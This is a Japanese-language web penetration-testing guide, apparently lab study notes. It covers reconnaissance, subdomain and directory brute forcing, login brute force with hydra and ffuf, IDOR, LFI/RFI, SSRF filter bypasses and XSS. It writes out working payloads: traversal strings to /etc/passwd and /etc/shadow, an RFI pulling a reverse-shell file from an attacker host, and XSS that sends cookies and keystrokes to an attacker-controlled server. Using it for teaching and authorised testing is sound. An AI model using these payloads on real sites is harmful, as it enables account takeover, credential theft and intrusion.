3. WEBサイトへの侵入

3.1. Webページへの侵入手順

3.1.1. Webサイトへのアクセス準備

KaliやParrotで侵入テストを行う場合、/etc/hostsのドメイン名を変更してアクセスする準備をする。

TARGET=<IP>
echo "$TARGET   <マシン名>.htb" >> /etc/hosts

3.1.2. Webサイトの各チェック項目

WEBサイトにおける基本確認項目は以下の通り。

robots.txt，sitemap.xmlの確認
サブドメイン/バーチャルホストの列挙
ブルートフォースアタックツールであるffufやgobuserの使用
ディレクトリの調査
ディレクトリスキャナであるdirbやgobuserの使用
CMSの特定
Wappalyzerやcurlによる特定
ログインページ(ユーザ認証)の試行
デフォルトパスワードの入力
パスワード推測
SQLインジェクションの試行
Webサイト上にある情報/サーバ内の情報からユーザー/パスワードリストの作成/推測
ブルートフォース(Hydraなどの使用)
BurpSuiteを用いたWebの挙動の確認
URLを見てLFIの脆弱性が無いか確認
uploadする機構がページにある場合にバイパスする方法の模索
掲載されている画像にヒントが無いか確認

3.2. サイトコンテンツの偵察

3.2.1. robots.txtによるサイトコンテンツの推測

robots.txtは検索エンジンに対してどのページが検索結果に表示されるか、どのページが表示されないかを通知するためのファイルのこと。このファイルを使用することで、特定の検索エンジンに対してウェブサイト全体のクロールを禁止することも可能となる。一般的には、特定の領域を制限し、それが検索エンジンの結果に表示されないようにする。

curl http://<IPアドレス>/robots.txt

このファイルでどのURLにどのようなページがある確認できる場合がある。

3.2.2. faviconによるフレームワークの特定

ファビコンはWebサイトのブランド化に使用されるブラウザのアドレスバーまたはタブに表示される小さなアイコンのこと。サイト開発者がこれをカスタムのものに置き換えない場合、これによりサイトがどのフレームワークが使用されているかを知る手がかりを得ることができる。特定手段は以下の遠い。

faviconのURLを取得する
faviconからmd5のハッシュ値を取得する
Linuxの場合
- curl [ファビコンURL] | md5sum
Windowsの場合
- curl [ファビコンURL] -UseBasicParsing -o favicon.ico
- Get-FileHash .\favicon.ico -Algorithm MD5
コチラのリンクでMD5ハッシュ値の一致を探す

3.2.3. sitemap.xmlによるサイトコンテンツの推測

sitemap.xmlはサイトマップと呼ばれサイト内のURLを一覧化し検索エンジンのクロール効率化を行うためのファイル。

このファイルにはアクセスするのが少し難しい領域が含まれている場合や、現在のサイトでは使用されていないがバックグラウンドでまだ動作している古いWebページがリストされている場合がある。

curl http://<IPアドレス>/sitemap.xml

3.2.4. curlコマンドによるサーバソフトウェアの推測

curl [URL] -vコマンドにより表示されるHTTPヘッダーの中には場合によっては、使用されているサーバソフトウェアやプログラミング/スクリプト言語などの有用な情報が含まれる場合がある。

curl [URL] -v

オプション	説明
-X [Method]	HTTPメソッド(POST, GET, PUTなど)を指定
-b "[Cookie]"	クッキーを指定
-d	POSTメソッドとしてフォーム送信

3.2.5. Google Dorksによるサイトコンテンツの推測

Googleの高度な検索技術(Google Dorks)を使うとフィルターを使用して特定のドメイン名から結果などを抽出できる。検索サンプルは以下の通り。

クエリオプション	用途	利用例
cache:	GoogleにキャッシュされたWebサイトのバージョンを表示	cache:www.example.co.jp
filetype:	任意の種類のファイル拡張子を検索	filetype:pdf
inanchor:	リンクで使用されているアンカーテキストを検索	inanchor:”cyber security”
intext:	テキスト内に特定の文字や文字列を含むページを検索	intext:”Security Best Practice”
intitle:	タイトル内に含まれるキーワードを検索	intitle:”OWASP Top 10 2022”
inurl:	URL中に１つのキーワードを含むものを検索	inurl:”admin”
link:	指定URLへのリンクを含むWebページを検索	link:www.example.co.jp
site:	指定ドメインのインデックスされた全てのURL（サブドメイン含む）	site:example.co.jp
after:	指定日時以降にインデックスされたURL	after:2023-08-01
*	指定位置の全ての単語を含むページを検索	*.com
\|	両方またはいずれかの単語を含むページを検索	“security”
+	複数単語の条件を満たすページを検索	security + trails
-	指定単語を含まないページを検索	security -trails

3.2.6. Wappalyzerによるサイト使用技術の推定

WappalyzerはWEBサイトの構成に使用されているフレームワーク、CMSなどを識別するためのブラウザ拡張機能。これによりサイトで使用されている技術の特定/推測が可能。

3.2.7. Wayback Machineによる過去ページの確認

Wayback MachineはWebサイトの歴史的アーカイブサイトのこと。

ドメイン名を検索すると、サービスが Web ページをスクレイピングしてコンテンツを保存した回数がすべて表示される。このサービスは現在のWebサイトでまだアクティブである可能性のある古いページを発見するのに役立つ。

3.2.8. 自動化ツールによる自動検出。

自動ツールであるgobusterやdirbによる検出もできる。

# dirbによる使用例
dirb http://10.10.46.186/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

# Gobusterによる使用例
gobuster dir --url http://10.10.46.186/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

3.3. サブドメインの列挙

3.3.1. SSL/TLS証明書による検出

SSL/TLS証明書によりサブドメインを検出できる場合がある。以下のサイトで検索することで証明書の更新履歴を確認できる。

3.3.2. Google Dorksによる検出

以下のように検索するとGoogleの検索エンジンにクロールされている場合、サブドメイン検出する場合がある。

-site:www.[ドメイン名].com site:*.[ドメイン名].com

3.3.3. 自動化ツールによる検出

dnsreconなどのDNSブルートフォースアタックツールや、sublist3rなどの統合サブドメイン検出ツールにより調査することもできる。またGobusterも使用できる。

# dnsreconの場合
dnsrecon -t brt -d [ドメイン名]

# sublist3rの場合
./sublist3r.py -d [ドメイン名]

# gobusterの場合
gobuster dns -d [ドメイン名] -w subdomains-top1mil-5000.txt -i

3.3.4. バーチャルホストを利用した検出

1つのWebサーバで複数のWEBサイトを運用することも可能で、この仕組みはバーチャルホストと呼ばれる。

Webサーバーは、クライアントからWebサイトの要求があるとき、サーバーはクライアントがどのWebサイトを要求しているかをHostヘッダから認識する。このHostヘッダを変更し、応答を監視して新しいWebサイトが検出されたかどうかを確認することでサーバ上で展開された別のサブドメインのWEBサイトにアクセスできる場合がある。

ffufというツールを使用したコマンド例は以下の通り。

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.[ドメイン名]" -u [サーバのIPアドレス] -fs {size}

3.4. ディレクトリの調査

ディレクトリの調査は基本的にツールを使って行う。これは調査すべきディレクトリが膨大

3.4.1. Dirbuster

dirbuserはWebコンテンツスキャナーでありWebの隠しオブジェクトを検索することができる。

dirb [URL] [<ワードリスト>] [オプション]

モード	説明
-a [Agent_String]	カスタムのUSER_AGENTを指定
-b	パスをそのまま使用する
-c [Cookie_string]	HTTPリクエストにクッキーを設定
-E [Certificate]	クライアント証明書
-H	HTTPリクエストにカスタムヘッダーを追加
-i	大文字小文字を区別せずに検索する
-l	見つかった場合、"Location “ヘッダを印刷する
-o [出力ファイル]	出力をファイルに保存する
-p [Proxy:port]	プロキシの使用
-r	再帰的に検索しない

よく使うコマンド

dirb [IPアドレス | URL ]

dirb [ URL | IPアドレス ] /usr/share/dirb/wordlists/common.txt

3.4.2. gobuster

Webサイトのディレクトリとファイルを列挙するためのブルートフォーススキャンツール。

gobuster [モード] [オプション...]

オプション	ロングフラッグ	説明
-c	--cookies	Cookieをリクエストに使用する
-x	--extensions	検索するファイル拡張子(.html, .css, .js, .php)
-H	--headers	HTTPヘッダーを指定 (-H 'Header1: val1' -H 'Header2: val2')
-k	--no-tls-validation	TLS 証明書の検証をスキップする
-n	--no-status	ステータスコードを出力しない
-P	--password	Basic認証のパスワード
-s	--status-codes	正のステータスコード
-b	--status-codes-blacklist	負のステータスコード
-U	--username	Basic 認証のユーザー名

モード

モード	説明
dir	ディレクトリとファイルのURLを列挙するために使用されるモード
dns	サブドメインを列挙するために使用されるモード
vhost	ドメイン内の仮想ホストを検出するモード
s3	公開されている Amazon Web Service (AWS) S3 バケットが列挙するモード

よく使うコマンド

# ディレクトリまたはファイルのフルパスの取得
gobuster dir -u [ URL | IPアドレス ] -w [ワードファイル] -x [拡張子]
gobuster dir -u [ URL | IPアドレス ] -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u [ URL | IPアドレス ] -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u [ URL | IPアドレス ] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# サブドメインを列挙
gobuster dns -d [ドメイン名] -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -i –wildcard
# 対象ホストのバーチャルホストを列挙
gobuster vhost --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u [ URL | IPアドレス ] -t 60

3.4.3. Wfuzz

Wfuzzはサイトのディレクトリとファイルを列挙するためのブルートフォーススキャンツール。 Gobusterと異なり、細かいオプションが使いやすい。

wfuzz -w [ワードリスト] -u [IPアドレス]

よく使うコマンド

# ログインフォームの総当たり攻撃
wfuzz -c -z file,[ユーザリスト].txt -z file,[パスワードリスト].txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" [IPアドレス]
# ディレクトリ＆ファイルの総当たり攻撃
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 [IPアドレス]

3.4.4. FFUF

WEBファジングツール。

# ディレクトリ＆ファイルの総当たり攻撃
ffuf -c -u http://[IPアドレス]/FUZZ  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://[IPアドレス]/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt

よく使うコマンド

# 対象ホストのバーチャルホストを列挙
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host: FUZZ.[ドメイン名]" -H "Content-Type: application/x-www-form-urlencoded" -u http://[IPアドレス] -H "Content-Type: application/x-form-urlencoded" -c -fs [長さ]
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host: FUZZ.[ドメイン名]" -u http://[IPアドレス] -fw [長さ]

# 特定拡張子ファイルの検索
ffuf -u http://[IPアドレス]/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.html,.txt

# POSTデータのファジング
ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "username=admin\&password=FUZZ" -u https://[ドメイン名]/login.php -fc 401

# パスワードとユーザ名のリストによるブルートフォースアタックによるログイン試行
ffuf -w /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://[IPアドレス]/login -fc 200

3.4.5. Kali Linuxで使えるワードリスト

Dirbやgobusterで使えるKali linuxデフォルトワードリストは以下の通り。

dirb
- /usr/share/wordlists/dirb/big.txt
- /usr/share/wordlists/dirb/common.txt
- /usr/share/wordlists/dirb/small.txt
- /usr/share/wordlists/dirb/extensions_common.txt
dirbuster
- /usr/share/wordlists/dirbuster/directory-list-1.0.txt
- /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
- /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
- /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
wfuzz
- /usr/share/wordlists/wfuzz/general/commmon.txt
- /usr/share/wordlists/wfuzz/general/big.txt
- /usr/share/wordlists/wfuzz/general/medium.txt
seclists
- Discovery
  - DNS
    - /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
    - /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
    - /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
  - Infrastructrure
    - /usr/share/wordlists/seclists/Discovery/Infrastructure/common-http-ports.txt
    - /usr/share/wordlists/seclists/Discovery/Infrastructure/common-router-ips.txt
    - /usr/share/wordlists/seclists/Discovery/Infrastructure/nmap-ports-top1000.txt

その他の単語帳はコチラからダウンロードできる。

3.4.6. Webサイトのコンテンツから辞書ファイルを作る

既存辞書ファイルが効かない場合に、CTFなどで利用できる方法。 cewlという意味のある単語を拾ってきて辞書を作るツールを使用する。

cewl [IPアドレス | ドメイン名] | grep -v CeWL > custom_wordlist.txt

cewl -w　custom_wordlist.txt [IPアドレス | ドメイン名]

3.5. ユーザ認証の突破

3.5.1. ffufによる認証突破

ユーザ名列挙

ユーザ作成ページですでに存在するユーザ名でユーザを作成しようとすると、「すでにそのユーザアカウントは存在します」など表示されることがある。この性質を利用してffufツールを利用して存在するユーザ名の列挙が可能。

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u [サインアップページURL] -mr [ユーザが存在する際に表示される検証名]

オプション	説明
-w	確認するユーザー名のリストのパスを指定
-X	リクエストメソッドを指定(POST,GET,PUTなど)
-d	送信するクエリを指定する(HTMLを見て送信クエリを確認する)
-H	リクエストに追加のヘッダーを追加するために使用
-u	リクエストを行う URL を指定
-mr	有効なユーザー名が見つかったことを検証するための探しているページ上のテキストを指定

パスワードの総当たり攻撃

ffufを使用して判明したユーザ名からパスワードを総当たりすることもできる。 -fcはステータスコードをチェックできる。

ffuf -w [ユーザ名ファイルのパス]:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u [サインアップページURL] -fc 200

3.5.2. hydraによる認証突破

ユーザ名とパスワードリストによる認証の総当たり攻撃

hydraを用いることで2種類の単語リストを用いた認証可能な単語のペアを見つけることができる。

# Hydraによるユーザ名とパスワード総当たり
hydra -L <ユーザ名辞書ファイル> -P <パスワード辞書ファイル> <IPアドレス> http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
# Hydraによるパスワード総当たり
hydra -l 'admin' -P /usr/share/wordlists/rockyou.txt <IPアドレス> http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" -V

3.5.3. 認証メカニズムの不具合の利用

パスワードリセットページで「指定された電子メールアドレスからアカウントが見つかりません」など入力すると表示される場合がある。

ページのメカニズムでHTMLのクエリ文字列とバックエンドの処理でPOSTデータの両方に同じキー名が使用されている場合、この変数のアプリケーションロジックはクエリ文字列ではなくPOSTデータフィールドを優先するため、POSTフォームに別のパラメータを追加すると、パスワードをリセットする場所を制御できる場合がある。

curl 'http://example.com/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'

Cookieの値がランダムな文字の長い文字列のように見えることがあり、これはハッシュ化されたものといえる。なおハッシュは不可逆的変換となる。

ハッシュ化アルゴリズムにはmd5、sha-256、sha-512、sha1などがある。ハッシュの検索にはコチラのサイトで調べることができる。

エンコーディング

エンコーディングは元に戻すことのできる可逆的な文字変換といえる。エンコーディングを使用するとバイナリデータを人間が判読できるテキストに変換でき、プレーンテキストのASCII文字のみをサポートする媒体上で簡単かつ安全に送信できる。

一般的なエンコードタイプは以下の2タイプがある。

BASE32 ... バイナリデータを文字A ～ Zおよび2 ～ 7に変換する
BASE64 ... バイナリデータを文字a ～ Z、AZ、0 ～ 9、+、/ およびパディング用の等号を使用して変換する

3.5.5. CeWLによる認証用の辞書ファイル作成

CeWLはWEBサイトに含まれるキーワードを収集し辞書ファイルを作成してくれるツール。 WEBサイト上の情報にユーザの認証情報(パスワードなど)が含めれている可能性があるときに使用できる。

cewl <URL|IPアドレス> -w <辞書ファイル名>.txt

3.6. IDORによるページへの不正アクセス

3.6.1. IDORとは

IDOR(Insecure Direct Object Reference)の略でありアクセス制御の脆弱性の一種のこと。具体的にはWebサイトやAPIに対するリクエストにおいて、認証や認可を適切に管理せず、ユーザー名をはじめ容易に予測可能な識別子を用いてデータやリソースに直接アクセスしている場合に生じる脆弱性である。

この脆弱性はWebサーバーがオブジェクト(ファイル、データ、ドキュメント)を取得するためにユーザー指定の入力を受け取り、入力データがサーバ側で検証されていない場合に発生する可能性がある。

基本的なIDORはhttp://example.com/profile?user_id=1305などのクエリパラメータを含むURLアドレスバーなどにある。

3.6.2. IDORの場所

ターゲットとしているIDORの脆弱性のあるエンドポイントURLアドレスバー以外にある場合がある。これはブラウザがAjaxリクエストを介して読み込むコンテンツ、またはJavaScriptファイルで参照されている可能性がある。

また場合によってエンドポイントには、開発中に何らかの用途があり運用環境にプッシュされた未参照のパラメータが存在することがある。他にもパラメータマイニングと呼ばれる攻撃により、他のユーザーの情報を表示するために使用できるパラメーターなどが見つかる場合がある。

3.6.3. IDORの調査

エンコードされたIDによる調査

Web開発者は多くの場合、投稿データ、クエリ文字列やCookieによってページからページにデータを渡すとき最初に生データを取得してエンコードを行う。エンコードにより受信側Webサーバーがコンテンツを理解できるようになる。エンコードでは通常はパディングに文字を使用して、バイナリデータをASCII文字列に変更する。

なお、最も一般的なエンコード技術はBase64エンコードとなっている。

文字列のエンコード ... https://www.base64decode.org/
文字列のデコード ... https://www.base64encode.org/

ハッシュ化されたIDによる調査

ハッシュIDはエンコードされたIDよりも扱いが少し複雑となるが、整数値のハッシュなどは予測可能なパターンに従う場合がある。見つかったハッシュはコチラのサイトなどで確認できる。

予測できないIDを調査する方法

エンコードされたIDやハッシュIDでIDORを検出できない場合は2つアカウントを作成しそれらの間でID番号を交換すると判明する場合がある。別のアカウントでログインしている (またはまったくログインしていない) 状態でも、ID番号を使用して他のユーザーのコンテンツを表示できる場合は、有効なIDOR 脆弱性が見つかったといえる。

3.7. ファイルインクルードの脆弱性

3.7.1. ファイルインクルードとは

ファイルインクルードはプログラムの中で別ファイルを参照するコードがあった場合に、実際に参照すべきファイルとは別のファイルやデータを読み込ませて本来意図しない不正なデータ処理を行わせる攻撃のこと。

ファイルインクルードの脆弱性はPHPなど、記述および実装が不十分なWeb アプリケーション用のさまざまなプログラミング言語で見つかり悪用される。この脆弱性の主な問題は入力検証であり、ユーザー入力はサニタイズまたは検証されず、ユーザーが入力を制御してしまうことに起因する。入力が検証されない場合はユーザーは任意の入力を関数に渡すことができ、脆弱性が発生する。

ファイルインクルードの脆弱性にはWebアプリケーションやOSに関連するコード、資格情報、その他の重要なファイルなどのデータを漏洩する可能性がある。攻撃者が他の手段でサーバにファイルを書き込むことができる場合、ファイルの組み込みが並行して使用され、リモートコマンド実行(RCE)が行われる可能性がある。

3.7.2. ディレクトリトラバーサル

ディレクトリトラバーサルはファイルやディレクトリを操作する際に、不正なパスを挿入されることによって意図しないディレクトリやファイルを参照、操作されてしまう脆弱性のこと。この脆弱性により攻撃者はアプリケーションを実行しているサーバー上のローカルファイルなどのOSのリソースを読み取ることができてしまう。

ディレクトリトラバーサルの発生原因

ディレクトリトラバーサルの脆弱性はユーザーの入力がPHPの場合、file_get_contentsなどの関数に渡されるときに発生する。多くの場合、WEBサイトのバックエンドの不十分な入力検証またはフィルタリングが脆弱性の原因となる。

ドットスラッシュ攻撃

ドットスラッシュ攻撃はディレクトリトラバーサルの攻撃で../を使用してディレクトリを 1 つ上のステップに移動することを利用して攻撃する。例としては以下の通り。

エントリーポイントを発見する(http://webapp.thm/get.php?file=)
http://webapp.thm/get.php?file=../など送信する
ほしいデータがあるディレクトリ(例../../../etc/passwd)まで何回(例の場合5回)リクエストを送ってデータを取得する

上記手法はLinux、Windows問わずに同じようにディレクトリをたどっていく。テスト時に使用できる一般的な OS ファイルは以下の通り。

Linuxディレクトリ位置	説明
/etc/hostname	ホスト名
/etc/issue	ログインプロンプトの前に出力されるメッセージまたはシステム ID を含むファイル
/etc/profile	エクスポート変数、ファイル作成マスク (umask)、端末タイプ、新しいメールの到着を示すメッセージなど、システム全体のデフォルト変数を制御する
/proc/version	Linuxカーネルのバージョンを指定
/etc/passwd	システムにアクセスできるすべての登録ユーザーが含まれる
/etc/shadow	システムのユーザーのパスワードに関する情報が含まれる
/etc/ssh/ssh_config	SSHの設定ファイル
/etc/ssh/sshd_config	SSHの設定ファイル
/root/.bash_history	rootユーザーの履歴コマンドが含まれる
/root/.ssh/id_rsa	秘密鍵が含まれる
/root/.ssh/authorized_keys	公開鍵が含まれる
/var/log/dmessage	システム起動時にログに記録されるメッセージを含む、グローバルシステムメッセージが含まれる
/var/mail/root	rootユーザーのすべてのメール
/root/.ssh/id_rsa	root またはサーバー上の既知の有効なユーザーのSSH秘密鍵
/var/log/apache2/access.log	Apache Webサーバーへのアクセスされたリクエスト

Windowsディレクトリ位置	説明
C:\boot.ini	BIOSファームウェアを備えたコンピューターの起動オプションが含まれる
/autoexec.bat
C:/windows/system32/drivers/etc/hosts
C:/inetpub/wwwroot/	IIS関連
C:/inetpub/wwwroot/web.config	IIS関連
C:/inetpub/logs/logfiles/	IIS関連
C:/xampp/apache/conf/httpd.conf	XAMPP関連
C:/xampp/security/webdav.htpasswd	XAMPP関連
C:/xampp/apache/logs/access.log	XAMPP関連
C:/xampp/apache/logs/error.log	XAMPP関連
C:/xampp/tomcat/conf/tomcat-users.xml	XAMPP関連
C:/xampp/tomcat/conf/web.xml	XAMPP関連
C:/xampp/webalizer/webalizer.conf	XAMPP関連
C:/xampp/webdav/webdav.txt	XAMPP関連
C:/xampp/apache/bin/php.ini	XAMPP関連
C:/xampp/apache/conf/httpd.conf	XAMPP関連
C:\Windows\System32\config\RegBack\SAM	パスワードハッシュ関連
C:\Windows\System32\config\SAM	パスワードハッシュ関連
C:\Windows\repair\system	パスワードハッシュ関連
C:\Windows\System32\config\SYSTEM	パスワードハッシュ関連
C:\Windows\System32\config\RegBack\system	パスワードハッシュ関連
C:\Windows\System32\config\RegBack\SAM.OLD	パスワードハッシュ関連
C:\Windows\System32\config\RegBack\SYSTEM.OLD	パスワードハッシュ関連

3.7.3. ローカルファイルインクルージョン(LFI)

ローカルファイルインクルージョン(LFI)は本来閲覧権限のないサーバー内のファイルを読み込んだり、実行したりすることが可能な脆弱性。 LFI攻撃はサイト開発者の不十分なセキュリティ実装が原因となる。

PHPやASP.net, Node.jsなど開発言語を問わず生じる可能性がある。

LFIアクセスの例は以下の通り。

http://example.com/index.php?page=/etc/passwd
# /etc/passwdというキーワードがフィルタリングされている場合
http://example.com/index.php?page=/etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd

PHPの場合

include()関数でファイルを読み込む場合、エラーメッセージより「.php」など拡張子が付いたファイルを読み込むことが判明するときがある。こうした場合、ファイルを要求しても「.php」が最後につくためデータを取り出せないように思えるがNULL BYTE(%00)を使用することで回避できる。

Nullバイトの使用はユーザーが指定したデータを使用して16進数の%00や0x00などの URLエンコード表現を使用して文字列を終了するインジェクション手法といえる。具体的にはペイロード最後にNullByteを追加することでNullByte以降をすべて無視するようにinclude関数に伝えられる。

なおPHPの場合、修正されたためPHP 5.3.4以降では動作しない。

また../をNull文字に置き換えてる場合などは....//などで回避できる。

3.7.4. リモートファイルインクルージョン(RFI)

リモートファイルインクルード(RFI)はWebアプリケーションにおける外部ファイル参照機能を悪用して予期せぬ動作や悪意ある動作を起こすことが可能な脆弱性。 LFIと同様に、RFIはユーザー入力を不適切にサニタイズするときに発生し、攻撃者が外部URLをinclude関数に挿入することを可能にする。

RFIは攻撃者がサーバー上でリモートコマンド実行 (RCE) を取得できるのでLFIより危険性が高くなる。PHPの場合はallow_url_includeオプションがONになっている場合に有効となってしまう。 RFI攻撃の成功により以下のリスクがある。

クロスサイトスクリプティング(XSS)
サービス拒否攻撃(DoS)

攻撃者がサーバー上に悪意のあるファイル(リバースシェルなど)をホストするRFI攻撃を成功させる手順は以下の通り。

外部サーバ(攻撃者のサーバ)とサービスを提供しているアプリケーションサーバーと通信させる
- http://www.example.com/index.php?lang=http://[攻撃者のIPアドレス|ドメイン名]/cmd.txt
悪意のあるファイルがHTTPリクエストを介してinclude関数に挿入され悪意のあるファイルの内容がアプリケーションサーバー上で実行させる

またRFI攻撃例は以下の通り。

http://<Target IP>/<file>.php?file=http://<Attacker IP>/rs.php

3.7.5. ファイルインクルージョン脆弱性を防ぐ方法

PHPの場合

WEBアプリケーションのフレームワークやOSなどを最新のバージョンにする
PHPエラー表示をOFFにしてパスの情報などが漏洩しないようにする
WEBアプリケーションファイヤーウォール(WAF)を設定する
ファイルインクルードの脆弱性を引き起こす一部のPHP機能 (allow_url_fopen onやallow_url_includeなど) を無効にする
Web アプリケーションを注意深く分析し、必要なプロトコルとPHPラッパーのみを許可する
ユーザー入力やファイルのインクルードに対して適切な入力検証を必ず実装する
ファイル名と場所のホワイトリストとブラックリストを実装する

3.8. SSRFの脆弱性

3.8.1. SSRFとは

SSRF(Server-Side Request Forgery)は悪意のあるユーザーがWebサーバに攻撃者が選択したリソースに対して追加/編集されたHTTPリクエストを実行させることを可能にする脆弱性のこと。具体的には攻撃者は何らかの方法で公開サーバーから内部のサーバーにリクエストを送信することにより、内部のサーバーを攻撃できる場合があり、これがSSRF攻撃と呼ばれる。

SSRF

SSRFには以下の2種類がある。

通常のSSRF ... データが攻撃者の画面に表示される
ブラインドSSRF ... SSRFが発生しても攻撃者の画面に情報が表示されない

SSRFの危険性は以下の通り。

許可されていない領域へのアクセス
顧客/組織データへのアクセス
内部ネットワークに拡張する機能
認証トークン/資格情報を明らかされる危険性

3.8.2. SSRFの突破

SSRFの発見

SSRFの脆弱性を見つける場合一般的に確認すべき箇所は4カ所ある。

アドレスバーのパラメータで完全なURLが使用されている場合
- https://website.com/form?server=http://server.webstite.com/storeなど
フォーム内の隠しフィールド(type=hidden)の値にURLが使用されている場合
ホスト名などがクエリパラメータにある場合(server=api)など
URLにパスが指定されている場合

なお出力が出力されないブラインドSSRFを探す場合は外部HTTPログツールを使用する必要がある。この場合requestbin.comや自前のHTTPサーバやBurp SuiteのCollaboratorツールを使う必要がある。

またxや&x=をパラメータとして使用することで通常のURLスキーム(http、https)以外の特殊なプロトコル(例: file、gopher)を使用できるため悪意のある動作を実現できてしまう。

SSRFを突破する

SSRF脆弱性をアプリケーションに実装する場合、システム開発者は拒否リストと許可リストを実装する。

拒否リスト ... リストで指定されたリソース、または特定のパターンに一致するリソースを除いてすべてのリクエストが受け入れさせる機構
- 一般的にはlocalhostや127.0.0.1やドメイン名が記載される
- 攻撃には代替の0や0.0.0.0、127.1、127.*.*.*、2130706433、017700000001などでバイパスできる
- IPアドレス127.0.0.1に解決される DNSレコードを持つサブドメイン(例:127.0.0.1.nip.io)などでもバイパスできる
許可リスト ... パラメーターで使用されるURL(例えばhttps://website.thm)で始まる必要があるというルールなどの特定のパターンに一致しない限り、すべてのリクエストが拒否させる機構
- 攻撃には攻撃者のドメイン名にサブドメイン(https://website.thm.attachers-domain.thm など) を作成することで行える

またオープンリダイレクトのギミックにそのドメインのみから始まるURLを許可するSSRF脆弱性がある場合、内部 HTTP リクエストを攻撃者が選択したドメインにリダイレクト指せるようにできる可能性がある。

3.9. XSSの脆弱性

XSS(Cross-Site Scripting)はWebサイトの脆弱性を利用しHTMLに悪質なスクリプトを埋め込み実行できる脆弱性のこと。他のユーザーによる実行を目的の悪意のあるJavaScriptがWebアプリケーションに挿入されるインジェクション攻撃として分類されている。

3.9.1. XSSペイロード

XSSのペイロードはターゲットコンピューター上で実行されるJavaScriptのこと。 XSSの例を以下に示す。

XSS脆弱性の試行

もっとも有名なXSSのペイロードであり、XSSができることを確かめるだけの有名なコードです。

<script>alert('XSS is Enable');</script>

"><script>alert(1);</script>
<a onmouseover="alert(document.cookie)">XSS</a>
<iframe src="javascript:alert('XSS');"></iframe>
<IMG SRC=j&#X41vascript:alert('XSS')>

Sessionの盗用

ログイントークンなどのユーザーセッションの詳細は、多くの場合ブラウザ上のCookieに保存する。以下のコードはターゲットのCookieを取得し、それをBase64でエンコードして送信し、攻撃者の制御下にあるWebサイトに投稿してログに記録する。攻撃者がここから Cookie を取得すると、ターゲットのセッションを乗っ取り、そのユーザーとしてログインされる可能性がある。

// #########################
// ペイロード1 :Sessionハイジャック
// #########################
<script>fetch('https://[攻撃者ホストのIP]/?cookie='+btoa(document.cookie));</script>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80
//
//
// #########################
// ペイロード2
// #########################
<script>var i=new Image(); i.src="http://[攻撃者ホストのIP]/?cookie="+btoa(document.cookie);</script>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80
//
//
// #########################
// ペイロード3
// #########################
<img src=x onerror='this.src="http://[攻撃者ホストのIP]/?"+document.cookie;' \>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80
//
//

<script>alert(document.cookie);</script>
// Burpsuiteの場合
// %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

キーロガー

以下のコードはキーロガーとして機能する。

<script>document.onkeypress = function(e) { fetch('https://[攻撃者ホストのIP]/log?key='+btoa(e.key) );}</script>
// 攻撃機で以下コマンドでwebサーバ待ち受け
// python3 -m http.server 80

メールアドレスの変更によるパスワードリセット攻撃

以下のコードではアカウントの電子メールアドレスが変更されるため、攻撃者はパスワードリセット攻撃を実行する可能性がある。

<script>user.changeEmail('[攻撃者のメールアドレス]');</script>

3.9.2. XSSの種類

反射型XSS

反射型xssは攻撃者が用意したurlにアクセスした時に発生するXSS脆弱性のこと。具体的にはHTTPリクエストでユーザーが指定したデータが検証されずに Web ページのソースに含まれている場合に発生する。

反射型

この攻撃では攻撃者は被害者にリンクを送信したり、JavaScriptペイロードを含む別の Web サイトの iframe に埋め込んだりして、ブラウザ上でコードを実行させ、セッションや顧客の情報を盗む可能性がある。

反射型XSSを試す場所は以下のようなエントリーポイントが考えられる。

URLクエリ文字列のパラメータ
URLファイルパス

例としては以下の場合はクエリ文字列パラメータによる反射型XSSとなる。

https://miya-zato-shopping/search?word=羅生門で「羅生門の検索結果ページ」にアクセスできるとき
